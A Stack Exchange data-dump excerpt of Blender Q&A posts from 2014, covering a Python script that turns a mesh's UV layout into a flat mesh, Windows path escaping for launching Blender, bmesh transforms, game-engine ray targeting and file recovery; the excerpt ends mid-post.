  <row Id="14074" PostTypeId="1" AcceptedAnswerId="14076" CreationDate="2014-07-15T11:57:19.440" Score="6" ViewCount="2465" Body="&lt;p&gt;So what I've been doing to bake Cycles depth maps is based on the following thread found on the BA.org forum and I've mentioned this here already but I'd like to take this a step further using a script but I'm not sure how to do this myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a look at the following  thread, there is a method for creating Cycles Depth maps using an Orthographic camera but it's limited to planer objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?273033-Sculpting-with-UVs-and-displacements/page34&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?273033-Sculpting-with-UVs-and-displacements/page34&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've expanded this technique slightly by baking an objects' color as white and with no Margin overdraw so that I have a guide for using the above mentioned technique but in a more 3D way since the resulting texture will match up with the 3D Objects UV coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, this is how I modeled the pillars on the following model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AxnBr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the setup looks like this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M1Cgz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that we have to be very careful around the UV Island boundaries because if the depth map does not match up perfectly with the UV's then the Displace modifier will make a big mess at all the seams.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this brings me to the question.  How can we convert a UV coordinate set into an actual flat 3D mesh that would still match up perfectly with the UV's of the model they were created from. &#xA;Here is an image to help illustrate this.  &lt;img src=&quot;https://i.stack.imgur.com/BJmhT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anyone have some thoughts on how to make a script that can make this conversion from UV's to a new mesh that looks exactly like the UV's of the first model so that the Cycles Camera Depth map technique can be used to make perfectly aligned displacement UV maps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X and Y should translate directly into the new meshs' X and Y positions and z would be set to be all 0's. This worked when I did it with GLSL so it should work here as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess my question is how can we write a script using Blender Python that does this?  &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1363" LastEditDate="2014-07-15T16:03:55.767" LastActivityDate="2019-07-24T08:14:30.750" Title="Is there a way to convert a mesh's UV's into a second mesh using a script?" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14076" PostTypeId="2" ParentId="14074" CreationDate="2014-07-15T12:47:26.297" Score="12" Body="&lt;p&gt;In &lt;em&gt;Object Mode&lt;/em&gt; with an object selected (tested with an unwrapped cube)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;def createMeshFromData(name, verts, faces):&#xA;    # Create mesh and object&#xA;    me = bpy.data.meshes.new(name+'Mesh')&#xA;    ob = bpy.data.objects.new(name, me)&#xA;    ob.show_name = True&#xA;&#xA;    # Link object to scene and make active&#xA;    scn = bpy.context.scene&#xA;    scn.objects.link(ob)&#xA;    scn.objects.active = ob&#xA;    ob.select = True&#xA;&#xA;    # Create mesh from given verts, faces.&#xA;    me.from_pydata(verts, [], faces)&#xA;    # Update mesh with new data&#xA;    me.update()    &#xA;    return ob&#xA;&#xA;out_verts=[]&#xA;out_faces=[]&#xA;for face in ob.data.polygons:&#xA;    oface=[]   &#xA;    for vert, loop in zip(face.vertices, face.loop_indices):&#xA;        coord = ob.data.vertices[vert].normal&#xA;        normal = ob.data.vertices[vert].co&#xA;        uv = ob.data.uv_layers.active.data[loop].uv &#xA;        out_verts.append((uv.x*10,uv.y*10,0))&#xA;        oface.append(loop)&#xA;    print(oface)&#xA;    out_faces.append(oface)&#xA;&#xA;createMeshFromData(ob.name + 'UVObj', out_verts, out_faces)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are using Blender 2.8 series, the script below does the exact same thing. Note that there is a &lt;code&gt;size&lt;/code&gt; variable introduced to help scale the output mesh if needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;C = bpy.context&#xA;ob = C.object&#xA;size = 10.0&#xA;&#xA;def createMeshFromData(name, verts, faces):&#xA;    # Create mesh and object&#xA;    me = bpy.data.meshes.new(name+'Mesh')&#xA;    ob = bpy.data.objects.new(name, me)&#xA;    ob.show_name = True&#xA;&#xA;    # Link object to scene and make active&#xA;    C.view_layer.active_layer_collection.collection.objects.link(ob)&#xA;    C.view_layer.objects.active = ob&#xA;    ob.select_set(True)&#xA;&#xA;    # Create mesh from given verts, faces.&#xA;    me.from_pydata(verts, [], faces)&#xA;    # Update mesh with new data&#xA;    me.update()    &#xA;    return ob&#xA;&#xA;out_verts=[]&#xA;out_faces=[]&#xA;for face in ob.data.polygons:&#xA;    oface=[]   &#xA;    for vert, loop in zip(face.vertices, face.loop_indices):&#xA;        coord = ob.data.vertices[vert].normal&#xA;        normal = ob.data.vertices[vert].co&#xA;        uv = ob.data.uv_layers.active.data[loop].uv &#xA;        out_verts.append((uv.x*size,uv.y*size,0))&#xA;        oface.append(loop)&#xA;    print(oface)&#xA;    out_faces.append(oface)&#xA;&#xA;createMeshFromData(ob.name + 'UVObj', out_verts, out_faces)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CD818.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="7819" LastEditDate="2019-01-12T19:25:24.417" LastActivityDate="2019-01-12T19:25:24.417" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="14077" PostTypeId="1" CreationDate="2014-07-15T13:05:44.743" Score="0" ViewCount="550" Body="&lt;p&gt;I created a mesh, then use particles to make grass on it. I just want to take the grass and grass's shadow on render, so I make the mesh's material become invisible (by using Transparent BSDF, alpha is zero).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when the mesh become transparent, the grass's shadow is disappear too. How can I still get the shadow while the mesh is invisible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Blender 2.70, Cycles Render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F1F08.png&quot; alt=&quot;The grass&amp;#39;s shadow is disappear when the mesh become transparent&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5220" LastActivityDate="2014-07-15T18:14:38.733" Title="Make transparent object get shadow from particles in Blender" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2014-07-16T05:57:02.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="14078" PostTypeId="1" AcceptedAnswerId="14079" CreationDate="2014-07-15T13:27:15.327" Score="0" ViewCount="536" Body="&lt;p&gt;I am trying to start and run a blend file with python3 popen under windows 7, but all I am able to do is start Blender.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blendFile = &quot;D:\_Blender_Files\atrium.blend&quot;&#xA;blenderPath = r&quot;C:\Program Files\Blender Foundation\blender-2.71-windows64\blender.exe&quot;&#xA;subprocess.Popen([blenderPath, blendFile], stdout=subprocess.PIPE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5006" LastEditorUserId="599" LastEditDate="2014-07-15T18:56:46.553" LastActivityDate="2014-07-15T18:56:46.553" Title="Start Blender with popen in windows 7" Tags="&lt;python&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-07-15T23:22:20.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="14079" PostTypeId="2" ParentId="14078" CreationDate="2014-07-15T13:36:36.527" Score="4" Body="&lt;p&gt;It's because of the escape character &quot;\&quot; and how python handles it. Windows paths on python scripts are a nightmare. So you have to escape the backslash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blendFile = &quot;D:\\_Blender_Files\\atrium.blend&quot;&#xA;blenderPath = r&quot;C:\\Program Files\\Blender Foundation\\blender-2.71-windows64\\blender.exe&quot;&#xA;subprocess.Popen([blenderPath, blendFile], stdout=subprocess.PIPE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or with simple slashes (python handles it well) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blendFile = &quot;D:/_Blender_Files/atrium.blend&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4925" LastActivityDate="2014-07-15T13:36:36.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14081" PostTypeId="2" ParentId="14043" CreationDate="2014-07-15T15:36:20.937" Score="5" Body="&lt;p&gt;It's due to your &lt;strong&gt;camera lens start clipping&lt;/strong&gt; setting. It's set to 10µm (micro-meter, &lt;em&gt;= 0.001 Blender unit&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason Blender can't render surfaces correctly when the camera's clipping start distance is too low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try with some higher value, (e.g. 10cm &lt;em&gt;= 10 Blender unit&lt;/em&gt;) and the problem is gone. Select the camera, go to &lt;strong&gt;camera&lt;/strong&gt; tab in properties window, &lt;strong&gt;Lens&lt;/strong&gt; panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BTD0i.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-07-15T15:36:20.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14082" PostTypeId="2" ParentId="9007" CreationDate="2014-07-15T15:49:00.550" Score="5" Body="&lt;p&gt;To apply the modifier:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Duplicate the object &quot;A&quot; to &quot;B&quot; and &lt;a href=&quot;https://blender.stackexchange.com/questions/27193/how-do-i-delete-one-single-shape-key&quot;&gt;remove Shape Keys&lt;/a&gt; from &quot;B&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Apply modifiers on the duplicate &quot;B&quot;&lt;/li&gt;&#xA;&lt;li&gt;Duplicate the original object again from &quot;A&quot; to &quot;C&quot;, with a Shape Key transformation (choose one for now. we have to repeat for other Shape Keys)&lt;/li&gt;&#xA;&lt;li&gt;Convert the second duplicate &quot;C&quot; to mesh using Alt-C &quot;Convert to - Mesh from Curve/Meta/SurfText&quot;&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;C&quot; (as selected) and then, &quot;B&quot; (as Active).&lt;/li&gt;&#xA;&lt;li&gt;In Properties - Object Data - Shape Keys, we click in the down arrow and, in the menu, we click in &quot;Join as Shapes&quot;. This will create the &quot;Basis&quot; with the original shape and a second shape key, with the same name as the object. Now, we have to change manually the name of the Shape Key.&lt;/li&gt;&#xA;&lt;li&gt;&quot;C&quot; can be deleted. Repeat for each Shape Key.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is based on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?290760-SubSurf-applying-in-Objecs-with-Shape-Keys-(to-use-in-BGE)&quot; rel=&quot;nofollow noreferrer&quot;&gt;SubSurf applying in Objecs with Shape Keys (to use in BGE)&lt;/a&gt; by Mario_Mey from blenderartists.org.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastEditorUserId="45457" LastEditDate="2019-01-25T00:14:18.563" LastActivityDate="2019-01-25T00:14:18.563" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="14083" PostTypeId="2" ParentId="14055" CreationDate="2014-07-15T15:51:47.193" Score="6" Body="&lt;p&gt;&lt;code&gt;bmesh.ops.transform()&lt;/code&gt; expects a 3x3 rotation matrix or 4x4 transformation matrix each for &lt;code&gt;matrix&lt;/code&gt; and &lt;code&gt;space&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;matrix&lt;/code&gt; specifies the desired transformation, which can be anything with a 4x4 matrix (translation, rotation, scaling, skewing, mirroring etc.).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;space&lt;/code&gt; specifies the space in which this transformation is supposed to happen in. If not specified, the transformation will happen in local space (object space). If you give it the object's &lt;code&gt;matrix_world&lt;/code&gt;, the transformation will happen in global space (world space). But you can give it any desired space if necessary (e.g. to rotate around an arbitrary point in space instead of the object's origin).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Simple example&lt;/strong&gt;:&lt;br&gt;&#xA;Translation in local and global space of an rotated object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oinyg.gif&quot; alt=&quot;Matrix Transformation Space example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Mesh with no transformation applied yet. The object is rotated by 45° around X.&lt;/li&gt;&#xA;&lt;li&gt;Translate mesh 1 unit up on Z-axis in local space:&lt;br&gt;&lt;code&gt;bmesh.ops.transform(bm, matrix=Matrix.Translation((0,0,1)), verts=bm.verts)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Same as 1.&lt;/li&gt;&#xA;&lt;li&gt;Translate mesh 1 unit up on Z-axis, but using &lt;code&gt;matrix_world&lt;/code&gt; of the object to perform the transformation in global space:&lt;br&gt;&lt;code&gt;bmesh.ops.transform(bm, matrix=Matrix.Translation((0,0,1)), space=bpy.context.object.matrix_world, verts=bm.verts)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Giving a &lt;code&gt;space&lt;/code&gt;-matrix is the same as multiplying the &lt;strong&gt;inverse of&lt;/strong&gt; the transformation &lt;strong&gt;space matrix&lt;/strong&gt; by the &lt;strong&gt;transformation matrix&lt;/strong&gt; and the transformation &lt;strong&gt;space matrix&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;matrix_world = bpy.context.object.matrix_world&#xA;bmesh.ops.transform(bm, matrix=matrix_world.inverted() * Matrix.Translation((0,0,1)) * matrix_world, verts=bm.verts)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Matrix tutorial:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.opengl-tutorial.org/beginners-tutorials/tutorial-3-matrices/&quot; rel=&quot;noreferrer&quot;&gt;http://www.opengl-tutorial.org/beginners-tutorials/tutorial-3-matrices/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-15T15:51:47.193" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14084" PostTypeId="2" ParentId="14073" CreationDate="2014-07-15T16:03:25.873" Score="4" Body="&lt;p&gt;&lt;code&gt;Object.bound_box&lt;/code&gt; does not contain mathutils-types like Matrix or Vector, it's a plain property array of float[3] which has no representation format like other types do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to iterate over all elements and print them, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for b in bpy.context.object.bound_box:&#xA;    print(b[:])&#xA;&#xA;# (-1.0, -1.0, -1.0)&#xA;# (-1.0, -1.0, 1.0)&#xA;# (-1.0, 1.0, 1.0)&#xA;# (-1.0, 1.0, -1.0)&#xA;# (1.0, -1.0, -1.0)&#xA;# (1.0, -1.0, 1.0)&#xA;# (1.0, 1.0, 1.0)&#xA;# (1.0, 1.0, -1.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or make a list of Vector objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Vector(b) for b in bpy.context.object.bound_box]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-15T16:03:25.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14085" PostTypeId="1" CreationDate="2014-07-15T16:32:08.063" Score="1" ViewCount="365" Body="&lt;p&gt;Okay so I followed this  &lt;a href=&quot;https://www.youtube.com/watch?v=e16c8uaCwzY&amp;amp;feature=kp&quot; rel=&quot;nofollow noreferrer&quot;&gt;you tube video&lt;/a&gt; to make this ring and they way it is done on the video isn't working for me, I am not sure what the problem is. I have tried everything I found on the internet,!&#xA;advice from author &lt;img src=&quot;https://i.stack.imgur.com/5Loe4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;activating the 3D print tool addon and running the  solid to check for problems, &#xA;which it is saying I have some non manifold edges,!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zXqaR.jpg&quot; alt=&quot;enter image description here&quot;&gt; which are there bc those sides do not have faces because I used a mirror modifier on x and y to complete my basic shape, but I don't know how that could be the problem with the boolean because that is how its done on the video and it works?? &lt;img src=&quot;https://i.stack.imgur.com/XOtJY.jpg&quot; alt=&quot;my results with boolean(difference) modifier&quot;&gt; I have done everything i can think of, even rearranging the modifiers,results from the video &lt;img src=&quot;https://i.stack.imgur.com/mfJM5.jpg&quot; alt=&quot;results from the video&quot;&gt;&#xA;I have checked all the normals &lt;img src=&quot;https://i.stack.imgur.com/nHAo0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;I'm out of things to try, please help?&lt;/p&gt;&#xA;" OwnerUserId="5221" LastActivityDate="2019-08-27T23:38:26.063" Title="Trying to use Boolean (difference) Modifier on a ring design and its not working correctly?" Tags="&lt;modifiers&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14087" PostTypeId="1" CreationDate="2014-07-15T18:22:04.833" Score="3" ViewCount="5922" Body="&lt;p&gt;I'm applying the &quot;Subdivision Surface&quot; modifier, and when I change the places of certain vertices and edges, they seem to disappear under the mesh, so I can't see them clearly. Is there something I can enable that will help me see the vertices on top of the mesh?&lt;/p&gt;&#xA;" OwnerUserId="5225" LastEditorDisplayName="user1853" LastEditDate="2014-07-15T21:41:46.780" LastActivityDate="2014-07-15T21:41:46.780" Title="How to show the vertices or edges of the mesh when using subdivision surface?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14089" PostTypeId="2" ParentId="12187" CreationDate="2014-07-15T18:38:43.170" Score="0" Body="&lt;p&gt;If you're using nodes in the cycles render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Vector &gt; Mapping&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place the Mapping node between the Texture Coordinates node and the Image Texture node. This will allow you to scale and relocate the image in various ways. You may also try changing the input from the Texture Coordinate node from Normal, to Generated, to UV, etc., until you get the look you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember also that in cycles the &quot;materials&quot; view will look different than the &quot;rendered&quot; view.&lt;/p&gt;&#xA;" OwnerUserId="5177" LastEditorUserId="1363" LastEditDate="2014-07-15T19:31:18.640" LastActivityDate="2014-07-15T19:31:18.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14090" PostTypeId="2" ParentId="14087" CreationDate="2014-07-15T18:46:13.893" Score="3" Body="&lt;p&gt;Try selecting this option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cbbkD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will make the effects if the modifier visible in edit mode. the down side is that your edges will be curved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selecting limit selection to visible will also make your it visible. The only issue with this is that it can be hard to select the right vertex since all of them, even the ones behind the object are visible.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FV2ea.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-07-15T18:46:13.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14091" PostTypeId="2" ParentId="1817" CreationDate="2014-07-15T22:02:46.777" Score="3" Body="&lt;p&gt;Answer: the .blend format. In other words, you &lt;strong&gt;can't export&lt;/strong&gt; Cycles materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the hood, Cycles shaders are just a collection of OSL shaders. The way that OSL-capable render engines work is fundamentally different from render engines from just a few years ago. Instead of simply combining the diffuse, specular, and reflective components of a shader, they calculate radiance closures which tell the render engine about the surface, but do not give the final pixel color. See the &lt;a href=&quot;https://code.google.com/p/openshadinglanguage/wiki/OSL_Introduction&quot; rel=&quot;nofollow&quot;&gt;OSL Introduction&lt;/a&gt; page for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way you could possibly hope to completely and accurately export a Cycles shader is if you planned on using it in another OSL-capable render engine. Some include &lt;a href=&quot;http://www.solidangle.com/&quot; rel=&quot;nofollow&quot;&gt;Arnold&lt;/a&gt; and &lt;a href=&quot;http://www.spectralpixel.com/&quot; rel=&quot;nofollow&quot;&gt;Spectral Pixel&lt;/a&gt;. &lt;strong&gt;However&lt;/strong&gt;, this is not yet possible, and is unlikely to happen, since each OSL-capable render engine has to implement the closures (Diffuse, Glossy, Subsurface Scattering, etc.) themselves, so there's no way to guarantee the same implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you have a render engine you like, you had better create the materials using that software.&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-07-15T22:02:46.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14092" PostTypeId="2" ParentId="8486" CreationDate="2014-07-15T22:13:29.177" Score="1" Body="&lt;p&gt;I've had marginal success with the DirectX exporter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The DirectX format supports meshes, vertex normals, UV coordinates, simple materials, bones, bone animation, and multiple animations in the same file. I've been able to export game-ready models using this format and load them into other software with Assimp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the 'Coordinate System' and 'Up Axis' options give unexpected results, doing really strange things to the Matrix Transforms for each bone in an armature. In other words, your model may import sideways or mirrored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender version 2.71 includes an updated FBX exporter (now exports to FBX v7.4 binary instead of v6.1). FBX also handles all of the above features, and is generally the format of choice when exporting animation to Unity. The drawback of FBX is that it is not yet supported by Assimp.&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-07-15T22:13:29.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14093" PostTypeId="2" ParentId="10622" CreationDate="2014-07-15T22:45:49.023" Score="4" Body="&lt;p&gt;Like someonewithpc said, you can simply create the new geometry for the fringe and add it to the existing UV map:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create the new geometry&lt;/li&gt;&#xA;&lt;li&gt;In Edit mode, deselect everything then select only the new geometry&lt;/li&gt;&#xA;&lt;li&gt;With your cursor in the 3D view, type 'U' and select your preferred method of UV unrwapping&lt;/li&gt;&#xA;&lt;li&gt;In the UV/Image Editor, select the new geometry and place it in an unused portion of the texture. (Hopefully you have some blank spots in the image. If not, you're out of luck)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The new geometry should be part of the UV map, and the existing UV map will remain unchanged.&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-07-15T22:45:49.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14094" PostTypeId="2" ParentId="13790" CreationDate="2014-07-16T00:46:52.293" Score="5" Body="&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;scene = bge.logic.getCurrentScene()&#xA;&#xA;target = scene.objects['target']&#xA;ray = cont.sensors['Ray']&#xA;&#xA;if ray.hitObject and 'bullet' not in ray.hitObject:&#xA;    target.worldPosition = ray.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This script will move a empty (named &lt;em&gt;target&lt;/em&gt;) to wherever the &lt;em&gt;Ray&lt;/em&gt; sensors hits a another object. The gun has a &lt;em&gt;Track to&lt;/em&gt; Actuator which makes the gun always point to the &lt;em&gt;target&lt;/em&gt; empty. I have the mouse look actuator set up on the camera to make the camera follow the mouse, all the gun parts are &lt;a href=&quot;https://blender.stackexchange.com/a/26109/2217&quot;&gt;parented&lt;/a&gt; to the camera so they move as well.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/530/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo file&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;Mouse makes the camera look around &lt;kbd&gt;space&lt;/kbd&gt; to fire.&lt;br&gt;&#xA;Notice how the gun will sightly move depending on whether the target is close or far away.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-09-30T03:21:31.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14096" PostTypeId="1" CreationDate="2014-07-16T01:21:49.237" Score="1" ViewCount="10650" Body="&lt;p&gt;The armature doesn't move along with the model when I move it around but still poses.&lt;img src=&quot;https://i.stack.imgur.com/k1Dvw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5136" LastActivityDate="2014-07-16T09:59:35.203" Title="moving the armature along with the model" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14097" PostTypeId="1" AcceptedAnswerId="14108" CreationDate="2014-07-16T02:43:49.847" Score="3" ViewCount="8507" Body="&lt;p&gt;There's any way to change it directly by Python, or there's any way to set by Python what node image is the active to display in viewport (Textured) and bake?&lt;/p&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="3485" LastEditDate="2014-07-16T13:58:12.323" LastActivityDate="2018-02-06T10:21:34.367" Title="Set active image node with python" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;image&gt;&lt;texture-baking&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14098" PostTypeId="1" CreationDate="2014-07-16T04:39:10.670" Score="1" ViewCount="957" Body="&lt;p&gt;I'm using Blender 2.71 and it comes with Python 3.4.0 even though the most recent version is 3.4.1. Is there any way to change this?&lt;/p&gt;&#xA;" OwnerUserId="5217" LastActivityDate="2014-07-16T04:39:10.670" Title="How to change the python version in blender" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-04-04T18:25:20.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="14101" PostTypeId="1" CreationDate="2014-07-16T09:26:56.993" Score="14" ViewCount="7735" Body="&lt;p&gt;I had just finished creating a realistic human head in blender that took me about four hours to make. I then tried to open it in a new file but I accidentally saved over it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone please help, I'm really upset about losing all that time and effort.&lt;/p&gt;&#xA;" OwnerUserId="5230" LastEditorUserId="599" LastEditDate="2014-07-16T09:54:22.377" LastActivityDate="2016-05-27T02:59:47.980" Title="How to recover overwritten files in blender" Tags="&lt;workflow&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14103" PostTypeId="2" ParentId="14101" CreationDate="2014-07-16T09:33:58.277" Score="13" Body="&lt;p&gt;There are several backup systems in blender:&lt;/p&gt;&#xA;&lt;h1&gt;Temporary files (saved every 2 minutes by default)&lt;/h1&gt;&#xA;&lt;p&gt;These will be saved in your temporary directory (specified in &lt;em&gt;User preferences &amp;gt; File&lt;/em&gt;) with a random number as the name.&lt;/p&gt;&#xA;&lt;p&gt;You can quickly open an auto saved file by pressing &lt;em&gt;File &amp;gt; Recover auto save&lt;/em&gt;, then selecting the auto saved file (the modification times can be very useful for determining which file to pick):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bzLpw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can adjust the interval at which these are saved in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;User preferences &amp;gt; File &amp;gt; Auto save &amp;gt; Timer&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5JoyM.png&quot; alt=&quot;enter image 